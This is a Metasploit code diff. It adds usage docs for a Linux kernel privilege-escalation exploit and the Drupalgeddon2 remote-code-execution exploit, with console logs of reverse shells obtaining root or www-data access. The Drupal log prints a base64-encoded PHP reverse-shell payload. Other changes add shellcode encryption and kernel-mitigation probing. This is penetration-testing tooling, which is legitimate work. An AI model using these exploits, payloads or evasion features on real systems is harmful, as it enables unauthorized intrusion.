diff --git a/Gemfile.lock b/Gemfile.lock index f04af1d0e8..2286d3b6b7 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -209,7 +209,7 @@ GEM coderay (~> 1.1.0) method_source (~> 0.9.0) public_suffix (3.0.2) - rack (1.6.9) + rack (1.6.10) rack-protection (1.5.5) rack rack-test (0.6.3) diff --git a/db/modules_metadata_base.pstore b/db/modules_metadata_base.pstore index eeb49074fb..cb025dfa8b 100644 Binary files a/db/modules_metadata_base.pstore and b/db/modules_metadata_base.pstore differ diff --git a/documentation/modules/exploit/linux/local/sock_sendpage.md b/documentation/modules/exploit/linux/local/sock_sendpage.md new file mode 100644 index 0000000000..af9d5d55f1 --- /dev/null +++ b/documentation/modules/exploit/linux/local/sock_sendpage.md @@ -0,0 +1,121 @@ +## Description + + The Linux kernel failed to properly initialize some entries in the + `proto_ops` struct for several protocols, leading to `NULL` being + dereferenced and used as a function pointer. By using `mmap(2)` to map + page `0`, an attacker can execute arbitrary code in the context of the + kernel. + + +## Vulnerable Application + + Several public exploits exist for this vulnerability, including + spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`. + + All Linux 2.4/2.6 versions since May 2001 are believed to be affected: + + * 2.4.4 up to and including 2.4.37.4 + * 2.6.0 up to and including 2.6.30.4 + + This module has been tested successfully on: + + * CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5 + * Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386 + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/sock_sendpage` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + **DEBUG_EXPLOIT** + + Enable exploit debug messages. (default: `false`) + + +## Scenarios + + ### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5 + + ``` + msf > use exploit/linux/local/sock_sendpage + msf exploit(linux/local/sock_sendpage) > set session 1 + session => 1 + msf exploit(linux/local/sock_sendpage) > set verbose true + verbose => true + msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp + payload => linux/x86/meterpreter/reverse_tcp + msf exploit(linux/local/sock_sendpage) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.16.191.188:4444 + [+] Kernel version 2.6.18 appears to be vulnerable + [+] System architecture i686 is supported + [+] vm.mmap_min_addr is not set + [*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ... + [*] Max line length is 65537 + [*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf + [*] Executing payload... + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (857352 bytes) to 172.16.191.159 + [*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.159 + OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5) + Architecture : i686 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + ``` + + ### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386 + + ``` + msf > use exploit/linux/local/sock_sendpage + msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + msf exploit(linux/local/sock_sendpage) > set session 1 + session => 1 + msf exploit(linux/local/sock_sendpage) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.16.191.188:4444 + [+] Kernel version 2.4.27 appears to be vulnerable + [+] System architecture i686 is supported + [+] vm.mmap_min_addr is not set + [*] Writing '/tmp/.69p3FeagB' (3509 bytes) ... + [*] Max line length is 65537 + [*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf + [*] Executing payload... + [*] Sending stage (36 bytes) to 172.16.191.227 + [*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400 + [!] Tried to delete /tmp/.69p3FeagB, unknown result + + 3356110123 + lfvaliLFShnAfRQkCHUXFtuyGXKylJSN + TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI + LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr + id + uid=0(root) gid=0(root) groups=100(users) + uname -a + Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux + ``` + diff --git a/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md new file mode 100644 index 0000000000..988a26b16f --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md @@ -0,0 +1,110 @@ +## Intro + +This module exploits a Drupal property injection in the Forms API. +Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. + +## Setup + +Use the provided Docker images here: . + +Alternatively, you may use TurnKey Linux's distributions: + +Drupal 7.54: +Drupal 8.3.1: + +Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey. + +## Targets + +``` +Id Name +-- ---- +0 Automatic (PHP In-Memory) +1 Automatic (PHP Dropper) +2 Automatic (Unix In-Memory) +3 Automatic (Linux Dropper) +4 Drupal 7.x (PHP In-Memory) +5 Drupal 7.x (PHP Dropper) +6 Drupal 7.x (Unix In-Memory) +7 Drupal 7.x (Linux Dropper) +8 Drupal 8.x (PHP In-Memory) +9 Drupal 8.x (PHP Dropper) +10 Drupal 8.x (Unix In-Memory) +11 Drupal 8.x (Linux Dropper) +``` + +Automatic targeting means the Drupal version will be detected first. +Targets with a specific version will do as they're told (regardless of +what the server is running). + +Dropper targets write to disk. In-memory targets don't. Be mindful of +showing up in someone's process list, though. A dropper might be more +viable in that regard. + +## Options + +**TARGETURI** + +Set this to the remote path of the vulnerable Drupal install. Defaults +to `/` for the web root. + +**PHP_FUNC** + +Set this to the PHP function you'd like to execute. Defaults to +`passthru`. + +**DUMP_OUTPUT** + +Enable this if you'd like to see HTTP responses, including command +output. Defaults to `false` unless `cmd/unix/generic` is your payload. + +**VERBOSE** + +Enable this to show what function and command were executed. Defaults to +`false` due to the sometimes excessive output. + +**ForceExploit** + +Enable this to force exploitation regardless of the check result. +Defaults to `false`, meaning the check result is respected. + +**WritableDir** + +Set this to a writable directory without `noexec` for binary payloads. +Defaults to `/tmp`, but other options may include `/var/tmp` and +`/dev/shm`. + +## Usage + +Drupal 7.57 from the Docker image is tested below. + +``` +msf5 > use exploit/unix/webapp/drupal_drupalgeddon2 +msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3 +rhost => 172.17.0.3 +msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true +verbose => true +msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check + +[*] Drupal 7.x targeted at http://172.17.0.3/ +[+] Drupal appears unpatched in CHANGELOG.txt +[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue +[+] 172.17.0.3:80 The target is vulnerable. +msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Drupal 7.x targeted at http://172.17.0.3/ +[+] Drupal appears unpatched in CHANGELOG.txt +[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB +[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw)); +[*] Sending stage (37775 bytes) to 172.17.0.3 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:46654) at 2018-04-24 23:25:17 -0500 + +meterpreter > getuid +Server username: www-data (33) +meterpreter > sysinfo +Computer : b3a405d5568a +OS : [redacted] +Meterpreter : php/linux +meterpreter > +``` diff --git a/lib/metasploit/framework/data_service.rb b/lib/metasploit/framework/data_service.rb index 49b4b2065e..a475f0c81b 100644 --- a/lib/metasploit/framework/data_service.rb +++ b/lib/metasploit/framework/data_service.rb @@ -6,8 +6,10 @@ require 'metasploit/framework/data_service/stubs/note_data_service' require 'metasploit/framework/data_service/stubs/web_data_service' require 'metasploit/framework/data_service/stubs/service_data_service' require 'metasploit/framework/data_service/stubs/session_data_service' +require 'metasploit/framework/data_service/stubs/session_event_service' require 'metasploit/framework/data_service/stubs/exploit_data_service' require 'metasploit/framework/data_service/stubs/loot_data_service' +require 'metasploit/framework/data_service/stubs/msf_data_service' # # All data service implementations should include this module to ensure proper implementation @@ -23,8 +25,10 @@ module DataService include NoteDataService include ServiceDataService include SessionDataService + include SessionEventDataService include ExploitDataService include LootDataService + include MsfDataService def name raise 'DataService#name is not implemented'; @@ -34,6 +38,10 @@ module DataService raise 'DataService#active is not implemented'; end + def active=(value) + raise 'DataService#active= is not implemented'; + end + def is_local? raise 'DataService#is_local? is not implemented'; end diff --git a/lib/metasploit/framework/data_service/proxy/core.rb b/lib/metasploit/framework/data_service/proxy/core.rb index 4922291447..a07a5f677f 100644 --- a/lib/metasploit/framework/data_service/proxy/core.rb +++ b/lib/metasploit/framework/data_service/proxy/core.rb @@ -51,30 +51,36 @@ class DataProxy end # - # Registers a data service with the proxy and immediately - # set as primary if online + # Registers the specified data service with the proxy + # and immediately sets it as the primary if active # - def register_data_service(data_service, online=false) + def register_data_service(data_service) validate(data_service) data_service_id = @data_service_id += 1 @data_services[data_service_id] = data_service - set_data_service(data_service_id, online) + set_data_service(data_service_id) end # # Set the data service to be used # - def set_data_service(data_service_id, online=false) + def set_data_service(data_service_id) data_service = @data_services[data_service_id.to_i] if data_service.nil? raise "Data service with id: #{data_service_id} does not exist" end - if !online && !data_service.active - raise "Data service not online: #{data_service.name}, not setting as active" + if !data_service.is_local? && !data_service.active + raise "Data service #{data_service.name} is not online, and won't be set as active" end + prev_data_service = @current_data_service @current_data_service = data_service + # reset the previous data service's active flag if it is remote + # to ensure checks are performed the next time it is set + if !prev_data_service.nil? && !prev_data_service.is_local? + prev_data_service.active = false + end end # @@ -153,12 +159,12 @@ class DataProxy begin db_manager = opts.delete(:db_manager) if !db_manager.nil? - register_data_service(db_manager, true) + register_data_service(db_manager) @usable = true else @error = 'disabled' end - rescue Exception => e + rescue => e raise "Unable to initialize data service: #{e.message}" end end diff --git a/lib/metasploit/framework/data_service/proxy/data_proxy_auto_loader.rb b/lib/metasploit/framework/data_service/proxy/data_proxy_auto_loader.rb index ce0eda6211..5088ad0f22 100644 --- a/lib/metasploit/framework/data_service/proxy/data_proxy_auto_loader.rb +++ b/lib/metasploit/framework/data_service/proxy/data_proxy_auto_loader.rb @@ -19,6 +19,7 @@ module DataProxyAutoLoader autoload :DbExportDataProxy, 'metasploit/framework/data_service/proxy/db_export_data_proxy' autoload :DbImportDataProxy, 'metasploit/framework/data_service/proxy/db_import_data_proxy' autoload :VulnAttemptDataProxy, 'metasploit/framework/data_service/proxy/vuln_attempt_data_proxy' + autoload :MsfDataProxy, 'metasploit/framework/data_service/proxy/msf_data_proxy' include ServiceDataProxy include HostDataProxy @@ -36,4 +37,5 @@ module DataProxyAutoLoader include DbExportDataProxy include DbImportDataProxy include VulnAttemptDataProxy + include MsfDataProxy end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/proxy/msf_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/msf_data_proxy.rb new file mode 100644 index 0000000000..ab4605e936 --- /dev/null +++ b/lib/metasploit/framework/data_service/proxy/msf_data_proxy.rb @@ -0,0 +1,10 @@ +module MsfDataProxy + def get_msf_version + begin + data_service = self.get_data_service + data_service.get_msf_version + rescue => e + self.log_error(e, "Problem retrieving Metasploit version") + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/remote/http/core.rb b/lib/metasploit/framework/data_service/remote/http/core.rb index 88ddbe546b..963848be89 100644 --- a/lib/metasploit/framework/data_service/remote/http/core.rb +++ b/lib/metasploit/framework/data_service/remote/http/core.rb @@ -49,6 +49,26 @@ class RemoteHTTPDataService end + def name + "remote_data_service: (#{@endpoint})" + end + + def active + # checks if data service is online when @active is falsey and makes the assignment + # this is to prevent repetitive calls to check if data service is online + # logic should be enhanced to considering data service connectivity + # and future data service implementations + @active ||= is_online? + end + + def active=(value) + @active = value + end + + def is_local? + false + end + def error 'none' end @@ -161,7 +181,7 @@ class RemoteHTTPDataService rescue EOFError => e elog "No data was returned from the data service for request type/path : #{request_type}/#{path}, message: #{e.message}" return FailedResponse.new('') - rescue Exception => e + rescue => e elog "Problem with HTTP request for type/path: #{request_type}/#{path} message: #{e.message}" return FailedResponse.new('') ensure @@ -169,21 +189,6 @@ class RemoteHTTPDataService end end - # - # TODO: fix this - # - def active - return true - end - - def name - "remote_data_service: (#{@endpoint})" - end - - def is_local? - false - end - def set_header(key, value) @headers = Hash.new() if @headers.nil? @@ -233,6 +238,19 @@ class RemoteHTTPDataService raise 'Endpoint cannot be nil' if endpoint.nil? end + # + # Checks if the data service is online by making a request + # for the Metasploit version number from the remote endpoint + # + def is_online? + response = self.get_msf_version + if response && !response[:metasploit_version].empty? + return true + end + + return false + end + def build_request(request, data_hash) request.content_type = 'application/json' if !data_hash.nil? && !data_hash.empty? diff --git a/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb b/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb index c4bc34d9af..6086f99955 100644 --- a/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb +++ b/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb @@ -17,6 +17,7 @@ module DataServiceAutoLoader autoload :RemoteNmapDataService, 'metasploit/framework/data_service/remote/http/remote_nmap_data_service' autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service' autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service' + autoload :RemoteMsfDataService, 'metasploit/framework/data_service/remote/http/remote_msf_data_service' include RemoteHostDataService include RemoteEventDataService @@ -33,4 +34,5 @@ module DataServiceAutoLoader include RemoteNmapDataService include RemoteDbExportDataService include RemoteVulnAttemptDataService + include RemoteMsfDataService end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/remote/http/remote_msf_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_msf_data_service.rb new file mode 100644 index 0000000000..103267f209 --- /dev/null +++ b/lib/metasploit/framework/data_service/remote/http/remote_msf_data_service.rb @@ -0,0 +1,12 @@ +require 'metasploit/framework/data_service/remote/http/response_data_helper' + +module RemoteMsfDataService + include ResponseDataHelper + + MSF_API_PATH = '/api/v1/msf' + MSF_VERSION_API_PATH = "#{MSF_API_PATH}/version" + + def get_msf_version + json_to_hash(self.get_data(MSF_VERSION_API_PATH, nil, nil)) + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/data_service/stubs/msf_data_service.rb b/lib/metasploit/framework/data_service/stubs/msf_data_service.rb new file mode 100644 index 0000000000..c898981fbf --- /dev/null +++ b/lib/metasploit/framework/data_service/stubs/msf_data_service.rb @@ -0,0 +1,5 @@ +module MsfDataService + def get_msf_version + raise 'MsfDataService#get_msf_version is not implemented' + end +end \ No newline at end of file diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index c093e9f3ca..5047ba1c49 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -18,9 +18,13 @@ module Buffer # Serializes a buffer to a provided format. The formats supported are raw, # num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh # - def self.transform(buf, fmt = "ruby", var_name = 'buf') + def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={}) default_wrap = 60 + unless encryption_opts.empty? + buf = encrypt_buffer(buf, encryption_opts) + end + case fmt when 'raw' when 'num' @@ -120,6 +124,50 @@ module Buffer ] end + def self.encryption_formats + [ + 'xor', + 'base64', + 'aes256', + 'rc4' + ] + end + + private + + def self.encrypt_buffer(value, encryption_opts) + buf = '' + + case encryption_opts[:format] + when 'aes256' + if encryption_opts[:iv].blank? + raise ArgumentError, 'Initialization vector is missing' + elsif encryption_opts[:key].blank? + raise ArgumentError, 'Encryption key is missing' + end + + buf = Rex::Crypto.encrypt_aes256(encryption_opts[:iv], encryption_opts[:key], value) + when 'base64' + buf = Rex::Text.encode_base64(value) + when 'xor' + if encryption_opts[:key].blank? + raise ArgumentError, 'XOR key is missing' + end + + buf = Rex::Text.xor(encryption_opts[:key], value) + when 'rc4' + if encryption_opts[:key].blank? + raise ArgumentError, 'Encryption key is missing' + end + + buf = Rex::Crypto.rc4(encryption_opts[:key], value) + else + raise ArgumentError, "Unsupported encryption format: #{encryption_opts[:format]}", caller + end + + return buf + end + end end diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index 871916a9e1..13c81aba48 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -19,7 +19,10 @@ class DataStore < Hash @imported_by = Hash.new end + attr_accessor :options attr_accessor :aliases + attr_accessor :imported + attr_accessor :imported_by # # Clears the imported flag for the supplied key since it's being set @@ -216,6 +219,38 @@ class DataStore < Hash end end + # + # Return a deep copy of this datastore. + # + def copy + ds = self.class.new + self.keys.each do |k| + ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) + end + ds.aliases = self.aliases.dup + ds + end + + # + # Override merge! so that we merge the aliases and imported hashes + # + def merge!(other) + super + if other.is_a? DataStore + self.aliases.merge!(other.aliases) + self.imported.merge!(other.imported) + self.imported_by.merge!(other.imported_by) + end + end + + # + # Override merge to ensure we merge the aliases and imported hashes + # + def merge(other) + ds = self.copy + ds.merge!(other) + end + # # Returns a hash of user-defined datastore values. The returned hash does # not include default option values. @@ -269,8 +304,8 @@ protected # Scan each alias looking for a key search_k = k.downcase - if @aliases.has_key?(search_k) - search_k = @aliases[search_k] + if self.aliases.has_key?(search_k) + search_k = self.aliases[search_k] end # Scan each key looking for a match @@ -341,12 +376,12 @@ class ModuleDataStore < DataStore # Return a deep copy of this datastore. # def copy - clone = self.class.new(@_module) + ds = self.class.new(@_module) self.keys.each do |k| - clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) + ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) end - clone.aliases = self.aliases - clone + ds.aliases = self.aliases.dup + ds end end diff --git a/lib/msf/core/db_manager/http/servlet/msf_servlet.rb b/lib/msf/core/db_manager/http/servlet/msf_servlet.rb new file mode 100644 index 0000000000..5fc6ba307a --- /dev/null +++ b/lib/msf/core/db_manager/http/servlet/msf_servlet.rb @@ -0,0 +1,25 @@ +module MsfServlet + + def self.api_path + '/api/v1/msf' + end + + def self.api_version_path + "#{MsfServlet.api_path}/version" + end + + def self.registered(app) + app.get MsfServlet.api_version_path, &get_msf_version + end + + ####### + private + ####### + + def self.get_msf_version + lambda { + set_json_response({metasploit_version: Metasploit::Framework::VERSION}) + } + end + +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/servlet/online_test_servlet.rb b/lib/msf/core/db_manager/http/servlet/online_test_servlet.rb deleted file mode 100644 index 1462f81ede..0000000000 --- a/lib/msf/core/db_manager/http/servlet/online_test_servlet.rb +++ /dev/null @@ -1,21 +0,0 @@ -module OnlineTestServlet - - def self.api_path - '/api/v1/online' - end - - def self.registered(app) - app.get OnlineTestServlet.api_path, &get_active - end - - ####### - private - ####### - - def self.get_active - lambda { - set_empty_response() - } - end - -end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/sinatra_app.rb b/lib/msf/core/db_manager/http/sinatra_app.rb index 5f7d67b7d8..7a4e575ff3 100644 --- a/lib/msf/core/db_manager/http/sinatra_app.rb +++ b/lib/msf/core/db_manager/http/sinatra_app.rb @@ -5,7 +5,7 @@ require 'msf/core/db_manager/http/servlet/note_servlet' require 'msf/core/db_manager/http/servlet/vuln_servlet' require 'msf/core/db_manager/http/servlet/event_servlet' require 'msf/core/db_manager/http/servlet/web_servlet' -require 'msf/core/db_manager/http/servlet/online_test_servlet' +require 'msf/core/db_manager/http/servlet/msf_servlet' require 'msf/core/db_manager/http/servlet/workspace_servlet' require 'msf/core/db_manager/http/servlet/service_servlet' require 'msf/core/db_manager/http/servlet/session_servlet' @@ -26,7 +26,7 @@ class SinatraApp < Sinatra::Base register VulnServlet register EventServlet register WebServlet - register OnlineTestServlet + register MsfServlet register NoteServlet register WorkspaceServlet register ServiceServlet diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb index cd8f0a724c..266cf68588 100644 --- a/lib/msf/core/payload/linux/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb @@ -25,7 +25,7 @@ module Payload::Linux::ReverseTcp_x64 conf = { port: datastore['LPORT'], host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], + retry_count: datastore['StagerRetryCount'], sleep_seconds: datastore['StagerRetryWait'], } diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index a54fb39482..577f591d35 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -83,6 +83,15 @@ module Msf # @!attribute var_name # @return [String] The custom variable string for certain output formats attr_accessor :var_name + # @!attribute encryption_format + # @return [String] The encryption format to use for the shellcode. + attr_accessor :encryption_format + # @!attribute encryption_key + # @return [String] The key to use for the encryption + attr_accessor :encryption_key + # @!attribute encryption_iv + # @return [String] The initialization vector for the encryption (not all apply) + attr_accessor :encryption_iv # @param opts [Hash] The options hash @@ -123,6 +132,9 @@ module Msf @var_name = opts.fetch(:var_name, 'buf') @smallest = opts.fetch(:smallest, false) @encoder_space = opts.fetch(:encoder_space, @space) + @encryption_format = opts.fetch(:encryption_format, nil) + @encryption_key = opts.fetch(:encryption_key, nil) + @encryption_iv = opts.fetch(:encryption_iv, nil) @framework = opts.fetch(:framework) @@ -276,15 +288,20 @@ module Msf # @param shellcode [String] the processed shellcode to be formatted # @return [String] The final formatted form of the payload def format_payload(shellcode) + encryption_opts = {} + encryption_opts[:format] = encryption_format if encryption_format + encryption_opts[:iv] = encryption_iv if encryption_iv + encryption_opts[:key] = encryption_key if encryption_key + case format.downcase when "js_be" if Rex::Arch.endian(arch) != ENDIAN_BIG raise IncompatibleEndianess, "Big endian format selected for a non big endian payload" else - ::Msf::Simple::Buffer.transform(shellcode, format, @var_name) + ::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts) end when *::Msf::Simple::Buffer.transform_formats - ::Msf::Simple::Buffer.transform(shellcode, format, @var_name) + ::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts) when *::Msf::Util::EXE.to_executable_fmt_formats ::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options) else diff --git a/lib/msf/core/post/linux/kernel.rb b/lib/msf/core/post/linux/kernel.rb index 123c0e12e4..4b6faf62af 100644 --- a/lib/msf/core/post/linux/kernel.rb +++ b/lib/msf/core/post/linux/kernel.rb @@ -13,7 +13,7 @@ module Kernel # @return [String] # def uname(opts='-a') - cmd_exec("uname #{opts}").to_s + cmd_exec("uname #{opts}").to_s.strip rescue raise "Failed to run uname #{opts}" end @@ -87,18 +87,139 @@ module Kernel raise 'Could not determine SMEP status' end + # + # Returns true if Kernel Address Isolation (KAISER) is enabled + # + # @return [Boolean] + # + def kaiser_enabled? + cmd_exec('cat /proc/cpuinfo').to_s.include? 'kaiser' + rescue + raise 'Could not determine KAISER status' + end + # # Returns true if user namespaces are enabled, false if not. # # @return [Boolean] # def userns_enabled? - return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.eql? '0' - cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.eql? '1' + return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.strip.eql? '0' + cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.strip.eql? '1' rescue raise 'Could not determine userns status' end + # + # Returns true if Address Space Layout Randomization (ASLR) is enabled + # + # @return [Boolean] + # + def aslr_enabled? + aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip + (aslr.eql?('1') || aslr.eql?('2')) + rescue + raise 'Could not determine ASLR status' + end + + # + # Returns true if unprivileged bpf is disabled + # + # @return [Boolean] + # + def unprivileged_bpf_disabled? + cmd_exec('cat /proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip.eql? '1' + rescue + raise 'Could not determine kernel.unprivileged_bpf_disabled status' + end + + # + # Returns true if kernel pointer restriction is enabled + # + # @return [Boolean] + # + def kptr_restrict? + cmd_exec('cat /proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1' + rescue + raise 'Could not determine kernel.kptr_restrict status' + end + + # + # Returns true if dmesg restriction is enabled + # + # @return [Boolean] + # + def dmesg_restrict? + cmd_exec('cat /proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1' + rescue + raise 'Could not determine kernel.dmesg_restrict status' + end + + # + # Returns mmap minimum address + # + # @return [Integer] + # + def mmap_min_addr + mmap_min_addr = cmd_exec('cat /proc/sys/vm/mmap_min_addr').to_s.strip + return 0 unless mmap_min_addr =~ /\A\d+\z/ + mmap_min_addr + rescue + raise 'Could not determine system mmap_min_addr' + end + + # + # Returns true if SELinux is installed + # + # @return [Boolean] + # + def selinux_installed? + cmd_exec('id').to_s.include? 'context=' + rescue + raise 'Could not determine SELinux status' + end + + # + # Returns true if SELinux is in enforcing mode + # + # @return [Boolean] + # + def selinux_enforcing? + return false unless selinux_installed? + + sestatus = cmd_exec('/usr/sbin/sestatus').to_s.strip + raise unless sestatus.include?('SELinux') + + return true if sestatus =~ /Current mode:\s*enforcing/ + false + rescue + raise 'Could not determine SELinux status' + end + + # + # Returns true if Yama is installed + # + # @return [Boolean] + # + def yama_installed? + ptrace_scope = cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip + return true if ptrace_scope =~ /\A\d\z/ + false + rescue + raise 'Could not determine Yama status' + end + + # + # Returns true if Yama is enabled + # + # @return [Boolean] + # + def yama_enabled? + return false unless yama_installed? + !cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip.eql? '0' + rescue + raise 'Could not determine Yama status' + end end # Kernel end # Linux end # Post diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 621f920936..cf2d106146 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1994,7 +1994,7 @@ class Db framework.db.register_data_service(remote_data_service) print_line "Registered data service: #{remote_data_service.name}" framework.db.workspace = framework.db.default_workspace - rescue Exception => e + rescue => e print_error "There was a problem registering the remote data service: #{e.message}" 